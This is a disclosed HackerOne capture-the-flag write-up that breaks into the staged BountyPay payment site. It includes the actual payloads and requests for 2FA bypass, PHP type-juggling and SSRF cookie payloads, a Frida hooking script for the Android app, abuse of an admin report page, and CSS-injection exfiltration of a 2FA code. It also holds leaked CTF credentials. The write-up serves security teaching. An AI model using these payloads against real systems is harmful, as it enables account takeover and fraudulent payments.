HexBrain

h1-ctf · Report #894170

[H1-2006 2020] Writeup

Validstatus
5upvotes
18 Jun 2020disclosed

How it was found

^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$

Prologue

The CTF was announced in a Hacker0x01 tweet. The goal is to make payments from Marten Mickos' account on BountyPayHQ. The announcement tweet was followed shortly by a retweet of BountypayHQ, an account made for the event. BountypayHQ has one tweet about a new staff member Sandra, and has a follower with the same name. Sandra's account has a tweet with a photo of a staff badge with 'STF:8FJ3KFISL3' visible on it. We make note of this for later.

On the policy page for the CTF we find the link to main site for the event. That site links to separate subdomains for customers (app) and staff (staff). However, the policy page lists the scope as '*.bountypay.h1ctf.com', so there are probably more. Using ffuf to fuzz the Host header, we find api and software. The software site says I can't access it from my IP address, and the api site showcases an open redirect on its homepage. This suggests we'll find an SSRF vulnerability at some point.

app.bountypay.h1ctf.com

Getting in

Initially I guessed the user might be 'sandra' and tried common passwords with Burp. Then I went through all the punctuation marks to see if any gave an error indicative of some sort of injection. Eventually I used ffuf to check for common files and directories. This turned up a .git/config file. Visiting the repository for that, we find a script is logging the contents of incoming requests to bp_web_trace.log on the server as base64-encoded JSON. After using CyberChef to decode it, we get:

1588931909 {"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
1588931919 {"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
1588931928 {"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
1588931945 {"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}

Plugging that username and password into the login form, we are asked for a 2FA code. I enter the value from the log file and submit the request. It doesn't work. Looking at the request in Burp we see that a hash is submitted in the 'challenge' field along with the values we provided.

POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 110

username=brian.oliver&password=V7h0inzX&challenge_answer=bD83Jk27dQ&challenge=5ca3e50bd0b0c9b94915573b64b664be

It looks like MD5. After using CyberChef to hash the username, password, and challenge_answer in succession, we use Burp repeater to replace the challenge value in the form and retry the requests. The hash of challenge_answer works. And returns a new cookie:

HTTP/1.1 302 Found
Set-Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9; expires=Sun, 05-Jul-2020 14:44:36 GMT; Max-Age=2592000
Location: /

I notice the cookie starts with eyJ which indicates base64-encoded JSON. I then use Burp repeater's 'Request in Browser' action to replay the action in the browser and log in.

A quick look around

The dashboard we land on after we log in has a table for listing payments. There is a form for selecting the month and year to show transactions for. No data is displayed for the current month. Trying a few other months also returns nothing.

Glancing over at the Burp proxy history, we see the form submissions to go /statements?month=01&year=2020. The JSON output this returns indicates it's a wrapper around a method on the API site:

{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/statements?month=01&year=2020","data":"{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}"}

Using Burp Intruder to add punctuation marks to month and year has no effect. Attempting to visit the API url directly gives an error about a missing token.

We also see that a file called app.js was loaded. It contains the code that calls /statements/, as well as code to render the results. We see that results rows link to /pay/{id}/{hash}. Trying a random number and MD5 hash, we get an error 'Invalid payment details'. While we can't jump to making payments at this time, we know that wherever the CTF leads, we'll probably end up back here.

Analysis of the token cookie

Using CyberChef to decode the log in cookie we get:

{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}

There's the account ID from the API site URL. We've probably found the SSRF.

However, the first thing I like to do with JSON parameters is to change the data type of the parameters and see what happens. I use the Hackvertor Burp plugin and replace the token cookie value with:

<@base64_2>{"account_id":["F8gHiqSdpK"],"hash":"de235bffd23df6995ad4e0930baac1a2"}<@/base64_2>

The account_id parameter, which is expected to be a string, is now an array. In response we get:

{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/Array\/statements?month=01&year=2020","data":"[\"Invalid Account ID\"]"}

This tells us two things:

  1. This site is probably built with PHP. (The string value of an array in PHP is 'Array')
  2. The value of account_id doesn't seem to matter to the app site. It just blindly forwards it to the API site.

PHP is famous for its type juggling. In particular, how "any string" == 0. Let's try it.

<@base64_2>{"account_id":"F8gHiqSdpK","hash":0}<@/base64_2>

We get the same successful response from earlier.

In summary, account_id matters to the API site, and hash matters to the app site. If account_id were easily enumerable, we could stop here. But brute forcing it is worst case 62^10 = 8.3929937e+17 , so that's probably not going to happen. Back to the SSRF we go.

Exploit the SSRF

Incorporating the information from the prologue, the goal is probably to use the open redirect on the API site to get something off the software site.

<@base64_2>{"account_id":"../../redirect?url=https://www.google.com/search?q=REST+API#","hash":0}<@/base64_2>

Trying a URL other than Google, we find get an error "URL NOT FOUND IN WHITELIST". I wasted some time thinking this would need to be chained with an I'm Feeling Lucky open redirect. After a bit Google threw up a CAPTCHA. Then I realized I hadn't actually tried to just redirect to software directly.

<@base64_2>{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":0}<@/base64_2>

Well, that worked, and now we see a login page. Adding CRLF to try and add headers or insert additional requests didn't seem to work, so this is probably a GET-only SSRF and logging into the site won't be possible.

After some content discovery with Intruder, we find a directory listing at /uploads/ containing one file: an Android app.

<@base64_2>{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/uploads/BountyPay.apk#","hash":0}<@/base64_2>

Attempting to download it through the SSRF gives an empty response. But downloading it directly works.

https://software.bountypay.h1ctf.com/uploads/BountyPay.apk

BountyPay.apk

I haven't done much with Android apps before, but I have done some basic static analysis. This HackerOne blog post is very helpful.

Static analysis

I start by downloading jadx and use it to decompile the app.

It's divided into 3 main files:

  • F859859
  • F859858
  • F859857

I don't see anything that looks like a token, and decide I will need to actually run the app.

Running the app

I have an iPhone, so I download Android Studio for this.

In Android studio, I create a new empty application, and then open the 'Android Virtual Device Manager' and create a Pixel XL device with Android R. Afterwards, right click the device and do 'Cold Boot Now'. Then drag and drop the apk onto the virtual device to install it.

The first screen asks for a username, and when you click next you are dropped on an empty screen. There is a button in the corner that, when clicked, provides very helpful hints: 'Deep links' and 'Params'. I don't know what this means, and decide that dynamic analysis will be needed.

Dynamic analysis

I installed Frida in my WSL Ubuntu, which I frequently use for python stuff. Then, using the Terminal built into Android Studio, I rooted the emulator and installed the Frida server on the it following the directions here .

C:\Users\Nick\AppData\Local\Android\Sdk\platform-tools\adb.exe root
C:\Users\Nick\AppData\Local\Android\Sdk\platform-tools\adb.exe push C:\Users\Nick\workspace\hackeronectf\frida-server-12.9.4-android-x86 /data/local/tmp/
C:\Users\Nick\AppData\Local\Android\Sdk\platform-tools\adb.exe shell "chmod 755 /data/local/tmp/frida-server-12.9.4-android-x86"
C:\Users\Nick\AppData\Local\Android\Sdk\platform-tools\adb.exe shell "/data/local/tmp/frida-server-12.9.4-android-x86 &"

Great. Now that I have the tools installed, how does Android hacking work?

The Frida Android example page shows how to hook the onClick handler of a button. Looking back at the source for the three source files for BountyPay, they seem to all have a similar structure.

public void onCreate(Bundle savedInstanceState) {
  // ... stuff
  if (getIntent() != null && getIntent().getData() != null) {

    // show boxes based on values of query parameters that are part of this 'intent' thing.
    getIntent().getData().getQueryParameter("start")

  }
}

So it looks like all we have to do is hook onCreate and set the query parameters before calling the original onCreate.

Activities

PartOneActivity

Source: F859859

I throw this together in a script file:

Java.perform(function () {

  send('perform');
  // Function to hook is defined here

  var PartOneActivity = Java.use('bounty.pay.PartOneActivity');
  var javaUri = Java.use('android.net.Uri');

  // Whenever button is clicked
  var onCreate = PartOneActivity.onCreate;
  onCreate.implementation = function (savedInstanceState) {
    // Show a message to know that the function got called
    send('onCreate');

    if (this.getIntent() != null) {
        send('gotintent');
        var intentData = javaUri.parse("content://asdf/?start=PartTwoActivity");
        this.getIntent().setData(intentData);
    }

    // Call the original onCreate handler
    onCreate.call(this, savedInstanceState);
  };
});

and in my WSL Ubuntu terminal run it

frida -U -l runme.js bounty.pay

According to the terminal output, only the 'perform' part happened. After some Googling, I find a GitHub issue comment that explains that in order to hook onCreate we need our stuff to run before the app starts.

I borrow the code from that comment and put my javascript in it.

F859851

I then kill the app on the emulator and run the python script with:

python3 ctf_part1.py

It works, and we're on to part two.

PartTwoActivity

Source: F859858

Reading the code, it's very similar to part one, and I update the Frida script accordingly.

F859852

After killing the app and running the script, there's a hash displayed on the screen (459a6f79ad9b13cbcb5f692d2cc7a94d), and a box prompting for a 'Header' value. From reading the code, we can see this must start with 'X-' to move on, so the hash that's displayed probably isn't what it's asking for. Peeking ahead at F859857 , we see a few base64-encoded strings. Decoding them, we find that WC1Ub2tlbg== is X-Token. I type 'X-Token' into the field and we're on to part 3.

PartThreeActivity

Source: F859857

Reading the code, it's very similar to part one, except some of the query parameters are expected to be base64 encoded. I update the Frida script accordingly.

F859854

After killing the app and running the script, there's a box prompting for a leaked hash value. I try the hash from part two and it doesn't work.

I notice in the source there are some calls to print a token to the logs, which would appear in the Logcat window in Android Studio. But those messages don't seem to have happened.

While wondering what to do next, I notice that after a delay, these messages start appearing in the logs:

bounty.pay I/TAG: Starting authentication
bounty.pay D/TAG: signInAnonymously:success
bounty.pay I/TAG: Getting host endpoint
bounty.pay I/TAG: Getting Token

Maybe now that it's had time to fetch them, they'll be printed if we retry it?

I click the back button in the emulator, and resubmit the form for PartTwoActivity. Now in the logs we see:

bounty.pay D/HOST IS:: http://api.bountypay.h1ctf.com
bounty.pay D/TOKEN IS:: 8e9998ee3137ca9ade8f372739f062c1

Entering that token into the PartThreeActivity, a congratulations screen appears. We've now got a token for the API server!

api.bountypay.h1ctf.com

Now that I have an API token, I use Intruder to try other HTTP methods on the one endpoint we know about:

POST /api/accounts/F8gHiqSdpK/statements?month=04&year=2020 HTTP/1.1
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1

Nothing happens. I then try adding punctuation to each part of the path, query parameters, and token header value. Nothing interesting happens.

Next I use ffuf to look for other methods and find the /api/staff method. It responds with:

[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]

I then use Intruder to try other HTTP methods on this endpoint. POST returns the following message:

["Missing Parameter"]

I add name as a body parameter. Same message.

Then I try staff_id with a value from the GET response.

POST /api/staff/ HTTP/1.1
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

staff_id=STF:84DJKEIP38

The following message is returned:

["Staff Member already has an account"]

Ah, so this is making a new staff member account. Sandra from Twitter doesn't seem to be in the list. Let's try her ID (STF:8FJ3KFISL3)

Response:

{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}

staff.bountypay.h1ctf.com

Getting in

Visiting the site, we are redirected to /?template=login. In the last section we saw that Brian Oliver is supposedly a staff member. I try logging in with the credentials we used for him on the app site and they don't work. I then use the credentials the API server gave us for Sandra and they work. The cookie looks like:

token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH

A quick look around

The main page is /?template=home

The functionality of the site is minimal. The dashboard has two tabs:

  1. A list of support tickets, with only one ticket. Viewing a ticket has its on template: /?template=ticket&ticket_id=3582
  2. A form to change your profile name and avatar. This posts to /?template=home.

In Burp proxy history, we see that a file website.js was loaded. It contains functions calling two additional pages:

  1. /admin/upgrade?username=sandra.allison to upgrade a user to admin. It can be called with a GET request, but trying it gives an error: "Only admins can perform this"
  2. /admin/report?url=Lz90ZW1wbGF0ZT1ob21l to report a page for the admin to review. The URL parameter is base64 encoded. In response it returns "Report received". Reporting the /admin/upgrade URL returns the same response and nothing happens.

Dead ends

I begin by testing all of the parameters observed for signs of injection vulnerabilities using my trusty wordlist of punctuation marks. Nothing stands out.

I test all the parameters for what happens if you turn them into an array. Nothing stands out.

I call /admin/report with the url parameter pointing at a Burp collaborator URL as well as my SSRF testing toy app. No requests are received.

I test the template parameter for path traversal and local file inclusion. Doesn't seem to work.

Another dead end

While token cookie format doesn't look like base64-encoded JSON, I try decoding it as base64 anyway.

sIluEVmypbzy/Un0njpgLfyONobB8ao8pxKJhQBdhRTpg1SCXylVDJrRjrr0JeMlTdnr/Ss32wXInW6cEKYyOQCu5MdRO1/SMkCXAd80mDdemzDFVyYYTuVzx04Vy1ilQmOBQP6tUh97pAYcoCim+vwDdaQu7PGRaRn6d4zG

Odd, that still looks like base64. Decoding it again returns a blob of unprintable stuff.

While testing the profile name change functionality I noticed the cookie value got longer when I used longer profile names. This suggests the cookie is actually storing the state for this and there's no backing database. While this site is supposed to act like a real site, it makes sense that it would be implemented this way. It seems unlikely that breaking the cookie is the intended solution here. I still put a few hours into it and was unsuccessful.

Half an XSS

Taking a closer look at website.js, we see the makings of what could be an XSS.

If the URL hash matches 'tab[1-4]' the code will trigger the onClick event on elements with that class on page load. The onClick event for 'upgradeToAdmin' will trigger the request to upgrade the username specified in the 'username' input field. The inclusion of tab4 in the hash code seems odd since the dashboard markup only has tab1, tab2, and tab3. Maybe the username field is on tab4 for admins.

Looking around for an opportunity to inject a class name in the markup, we see that the user avatar setting is used as a CSS class name. Intercepting the POST request to change the profile name, we modify it to change the avatar value:

POST /?template=home HTTP/1.1
Host: staff.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH

profile_name=sandra&profile_avatar=upgradeToAdmin%20tab1%20tab2%20tab3%20tab4

This updates our cookie. Next we visit /?template=home#tab1 and can see in the Burp Proxy history that a request to /admin/upgrade was made on page load.

Time to test this out for real. I make a request to

GET /admin/report?url=<@base64_2>/?template=home&username=sandra.allison#tab4<@/base64_2> HTTP/1.1
Host: staff.bountypay.h1ctf.com
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMMXZvZUVPWWVKdGYvRWRGcXozbVVUWXFldWtmdmlVQzQxQ0FTR2V5U0w3WEMxWnltMlpjNzBISitQZ1RhZVJsNDY3TlBGbnBQY3VaTkwvSEEwTURoc3lsZy8xMVpPTHg5UDVoR21ZeUk1TlM5VlJhSCs0VGZkNFl2Ullj

annnnnnd...

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 19

["Report received"]

That was disappointing.

The missing piece

I messed with this a bit on Monday and didn't get anywhere. I was stuck and out of ideas. I tried to forget about it because I figured the answer would probably come to me later.

Tuesday morning while retrying everything, I realize I overlooked something. While I had tried changing parameters to arrays already, I must have skipped this check for the template parameter in favor of looking for path traversal. Doing so now, I noticed that changing template parameter to an array still loaded the page successfully, even though changing it to garbage strings gave a blank page.

Then I realized that passing multiple values in the array would render multiple templates on the same page.

After a bit I figure out the correct URL to report.

GET /admin/report?url=<@base64_2>/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab3<@/base64_2> HTTP/1.1
Host: staff.bountypay.h1ctf.com
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMMXZvZUVPWWVKdGYvRWRGcXozbVVUWXFldWtmdmlVQzQxQ0FTR2V5U0w3WEMxWnltMlpjNzBISitQZ1RhZVJsNDY3TlBGbnBQY3VaTkwvSEEwTURoc3lsZy8xMVpPTHg5UDVoR21ZeUk1TlM5VlJhSCs0VGZkNFl2Ullj

annnnnnd...

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR09NOVM5N0IvVGtnM2g3TmhWU0lENlV5WVJLRHlmRlZMMXZvZUVPWWVKdGYvRWRGcXozbVVUWXFldWtmdmlVQzQxQ0FTR2V5U0w3WEMxWXZvVjl5K1gzQTlmZ1RhZVJsNDY3TlBGbnBQY3VaTkwrUkJrVlZoYy96aEtjZ043YWhwdmx2SEdwaWNKVUMrRlJkU2VCRUtkZ2I2aFlj; expires=Sun, 05-Jul-2020 18:58:11 GMT; Max-Age=2592000; path=/
Content-Length: 19

["Report received"]

We're in. Re-visiting the homepage, a full list of users and plain-text passwords is now on tab 4.

marten.mickos
h&H5wy2Lggj*kKn4OD&Ype

Back at app.bountypay.h1ctf.com

Getting in

Back on the customer site, we login with the new credentials and bypass the 2FA the same way as before, re-using the same challenge and challenge answer.

POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 130

username=marten.mickos&password=h%26H5wy2Lggj*kKn4OD%26Ype&&challenge=5828c689761cce705a1c84d9b1a1ed5e&challenge_answer=bD83Jk27dQ

The new token cookie

Our new token is

token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9

Decoded we get.

<@base64_4>{"account_id":"Ae8iJLkn9z","hash":"3616d6b2c15e50c0248b2276b484ddb2"}<@/base64_4>

And test that replacing the hash with 0 still works.

<@base64_4>{"account_id":"Ae8iJLkn9z","hash":0}<@/base64_4>

Still works. I should have stuck with brute forcing the account id. Ae8iJLkn9z was going to be my next guess.

The End

On the dashboard, we select 05/2020 and click 'Load Transactions'.

A table row appears indicating we owe Hacker 272 over $200,000!

This is it! We can pay the hackers now!

We click the green Pay button. And we find the flag!

{F859856}

Epilogue

Actually, we hit another 2FA screen.

I click the 'Send Challenge' button. Glancing over at the Burp history we see that the request includes a hidden parameter.

POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9

app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css

Ok, we'll need to use CSS injection.

I turn one of my wordlists into a stylesheet using regex find and replace in VSCode.

F859855

I upload it into a private GitHub gist, and swap it in for the app_style param in the request. And it doesn't work. After a bit I figure out it's because Gist doesn't serve files with the expected Content-Type header. I use GitHack to wrap it, and it works.

Burp collaborator receives 7 pings for code_[1-7]. I generate another stylesheet to actually extract the values.

F859853

I create another private Gist to host it and get a GitHack URL for it.

Burp collaborator receives 7 pings, one for each character of the code. I enter it. And the flag appears.

^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$

Impact

This was fun. Thanks.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original